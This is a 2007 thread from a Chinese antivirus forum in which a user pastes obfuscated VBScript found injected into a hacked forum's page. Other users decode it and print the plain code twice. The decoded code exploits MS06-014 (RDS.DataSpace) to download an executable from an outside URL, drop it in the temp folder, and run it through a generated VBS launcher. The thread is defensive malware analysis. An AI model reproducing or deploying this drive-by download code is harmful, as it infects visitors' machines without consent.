瑞星卡卡安全论坛

首页 » 技术交流区 » 反病毒/反流氓软件论坛 » 电脑报论坛被人下马了!!高手看看这个加密代码!
侠客英雄 - 2007-3-18 9:25:00
电脑报论坛被人下马了!!

我上的时候会弹出个 microsoft ADO 提示框,感觉不对劲,就看了下网页代码,

找到了这个加密代码!!高手看看!

我在去的是时候就没提示了,就是这段代码被清除了,速度真快啊,前后没超过5分钟啊!


<script LANGUAGE="VBScript">
svKfhqB="13*10*70*111*114*32*106*106*109*102*112*112*109*101*32*61*32*49*32*84*111*32*76*101*110*40*81*78*107*71*101*107*103*41*32*83*116*101*112*32*57*42*49*45*55*13*10*102*117*99*107*97*118*61*34*38*104*34*13*10*118*90*111*72*98*117*111*61*118*90*111*72*98*117*111*32*38*32*67*104*114*40*32*102*117*99*107*97*118*32*32*38*32*77*105*100*40*81*78*107*71*101*107*103*44*32*106*106*109*102*112*112*109*101*44*32*50*41*41*13*10*110*101*120*116"


QNkGekg="44696D204959464C656D624844444348726B72577769794346775679644E54785354794E5847477366486470456C446F73544845780d0a4F6E204572726F7220526573756D65204E6578740D0A61564B65563D22687474703A2F2F7777772E68657A68616F2E636F6D2F746F702F746F702E657865220D0A536574207A4F59203D20646F63756D656E742E637265617465456C656D656E7428226F626A65637422290D0A7A4F592E5365744174747269627574652022636C6173736964222C2022636C7369643A42443936433535362D363541332D313144302D393833412D303043303446433239453336220D0A4F4F426E506C3D224D6963726F736F66742E584D4C48545470220D0A53657420576B53203D207A4F592E4372656174654F626A656374284F4F426E506C2C2222290D0A576B532E4F70656E2022474554222C2061564B65562C2046616C73650D0A576B532E53656E640D0A4578654E616D653D227755454F5551632E636F6D220D0A5662734E616D653D22737450526178662E766273220D0A53657420465049203D207A4F592E6372656174656F626A6563742822536372697074696E672E46696C6553797374656D4F626A656374222C2222290D0A5365742073546D70203D204650492E47657453706563
69616C466F6C6465722832290D0A4578654E616D653D4650492E4275696C64506174682873546D702C4578654E616D65290D0A5662734E616D653D4650492E4275696C64506174682873546D702C5662734E616D65290D0A41413D224164220D0A41423D226F64622E73747265616D220D0A41644D3D41412641420D0A53657420447074203D207A4F592E6372656174656F626A6563742841644D2C2222290D0A4470742E747970653D310D0A4470742E4F70656E0D0A4470742E577269746520576B532E526573706F6E7365426F64790D0A4470742E53617665746F66696C65204578654E616D652C320D0A4470742E436C6F73650D0A4470742E547970653D320D0A4470742E4F70656E0D0A4470742E57726974655465787420226F6E206572726F7220726573756D65206E6578742226766243724C662622536574205368656C6C203D204372656174654F626A6563742822225773632222202620222272697022222026202222742E5368656C6C2222292226766243724C6626225368656C6C2E52756E2028222222264578654E616D6526222222292226766243724C662622536574205368656C6C203D204E6F7468696E67220D0A4470742E53617665746F66696C65205662734E616D652C320D0A4470742E436C6F73650D0A7352756E3D225368656C6C2E4170706C69220D0A5365742052756E203D207A4F592E6372656174656F626A656374287352756E2622636174696F6E222C2222290D0A52756E2E5368656C6C45786563757465205662734E616D652C22222C22222C224F70656E222C300D0A"

function rechange(k)

s=Split(svKfhqB,Chr( 42))
t=""
For i = 0 To UBound(s)
kellav=eval(s(i))
t=t+Chr(kellav)
Next
rechange=t
End Function
execute(rechange(t))
Execute vZoHbuo
</Script>


侠客英雄 - 2007-3-18 9:29:00
没人吗?

看看这个代码,我看不懂,不知道怎么解密,有点好奇!

汗。。。。
独孤豪侠 - 2007-3-18 10:12:00
你M一下小聪版主..他会看...
UFO不幸外人 - 2007-3-18 11:35:00
哈哈哈,17进制转换
侠客英雄 - 2007-3-22 15:27:00
顶下,高人了来看看啊!!!
sanjingshou - 2007-3-22 15:32:00
这个貌似好难啊,看不懂。。。。
饭后点心 - 2007-3-22 15:35:00
上面的可能是用8进制的加密.把转出来的数值对应ASC2的码得到的字母连起来就能看了.
小泉烧香 - 2007-3-22 15:47:00
我也想看。
侠客英雄 - 2007-3-24 16:18:00

5555,就没高人了吗?


在顶下!!!
侠客英雄 - 2007-3-24 16:19:00
【回复“独孤豪侠”的帖子】

发信息给 小聪 了,可惜没回,,汗。。。。。
快来救命啊啊 - 2007-3-24 16:25:00
小聪不在吧。。。
sofix - 2007-3-24 18:38:00
QNkGekg那字符串中间怎么断开了?

是2次加密
第一次解的是 asii码
For i = 0 To Len(Q) Step 9*1-7
f="&h"
vZoHbuo=vZoHbuo&Chr(f&Mid(Q,i,2))//每两位数转成16进制
然后运行vZoHbuo代码 可能我的不支持Mid这函数 没法看vZoHbuo代码是什么样了
sofix - 2007-3-24 18:50:00
出来了,代码还没看懂
Dim IYFLembHDDCHrkrWwiyCFwVydNTxSTyNXGGsfHdpElDosTHEx On Error Resume Next aVKeV="http://www.hezhao.com/top/top.exe" Set zOY = document.createElement("object") zOY.SetAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" OOBnPl="Microsoft.XMLHTTp" Set WkS = zOY.CreateObject(OOBnPl,"") WkS.Open "GET", aVKeV, False WkS.Send ExeName="wUEOUQc.com" VbsName="stPRaxf.vbs" Set FPI = zOY.createobject("Scripting.FileSystemObject","") Set sTmp = FPI.GetSpecialFolder(2) ExeName=FPI.BuildPath(sTmp,ExeName) VbsName=FPI.BuildPath(sTmp,VbsName) AA="Ad" AB="odb.stream" AdM=AA&AB Set Dpt = zOY.createobject(AdM,"") Dpt.type=1 Dpt.Open Dpt.Write WkS.ResponseBody Dpt.Savetofile ExeName,2 Dpt.Close Dpt.Type=2 Dpt.Open Dpt.WriteText "on error resume next"&vbCrLf&"Set Shell = CreateObject(""Wsc"" & ""rip"" & ""t.Shell"")"&vbCrLf&"Shell.Run ("""&ExeName&""")"&vbCrLf&"Set Shell = Nothing" Dpt.Savetofile VbsName,2 Dpt.Close sRun="Shell.Appli" Set Run = zOY.createobject(sRun&"cation","") Run.ShellExecute VbsName,"","","Open",0
轩辕小聪 - 2007-3-31 2:32:00
不好意思来晚了……
前面的那个字符串,10进制ASCII码,利用自定义的rechange函数进行解密,其实是定义了vZoHbuo这个变量:
For jjmfppme = 1 To Len(QNkGekg) Step 9*1-7
fuckav="&h"
vZoHbuo=vZoHbuo & Chr( fuckav  & Mid(QNkGekg, jjmfppme, 2))
next

之后execute运行之,作用于中间的字符串,解析并执行代码,代码内容如楼上所示:

Dim IYFLembHDDCHrkrWwiyCFwVydNTxSTyNXGGsfHdpElDosTHEx On Error Resume Next aVKeV="http://www.hezhao.com/top/top.exe" Set zOY = document.createElement("object") zOY.SetAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" OOBnPl="Microsoft.XMLHTTp" Set WkS = zOY.CreateObject(OOBnPl,"") WkS.Open "GET", aVKeV, False WkS.Send ExeName="wUEOUQc.com" VbsName="stPRaxf.vbs" Set FPI = zOY.createobject("Scripting.FileSystemObject","") Set sTmp = FPI.GetSpecialFolder(2) ExeName=FPI.BuildPath(sTmp,ExeName) VbsName=FPI.BuildPath(sTmp,VbsName) AA="Ad" AB="odb.stream" AdM=AA&AB Set Dpt = zOY.createobject(AdM,"") Dpt.type=1 Dpt.Open Dpt.Write WkS.ResponseBody Dpt.Savetofile ExeName,2 Dpt.Close Dpt.Type=2 Dpt.Open Dpt.WriteText "on error resume next"&vbCrLf&"Set Shell = CreateObject(""Wsc"" & ""rip"" & ""t.Shell"")"&vbCrLf&"Shell.Run ("""&ExeName&""")"&vbCrLf&"Set Shell = Nothing" Dpt.Savetofile VbsName,2 Dpt.Close sRun="Shell.Appli" Set Run = zOY.createobject(sRun&"cation","") Run.ShellExecute VbsName,"","","Open",0

这个代码,利用MS06-014漏洞,下载http://www.hezhao.com/top/top.exe到本机系统文件夹(一般为WINDOWS文件夹),命名为wUEOUQc.com,同时本地创建并写入stPRaxf.vbs,然后运行stPRaxf.vbs,利用stPRaxf.vbs中的代码来运行下载到本机的wUEOUQc.com程序。
mopery - 2007-3-31 2:40:00
常见了..
侠客英雄 - 2007-3-31 12:17:00
感谢 sofix 和 轩辕小聪 的回复! 谢谢你们了!

可知道为什么会出现下图的 microsoft  ADO /RDS 错误啊?

附件: 5922102007331120719.jpg
1
查看完整版本: 电脑报论坛被人下马了!!高手看看这个加密代码!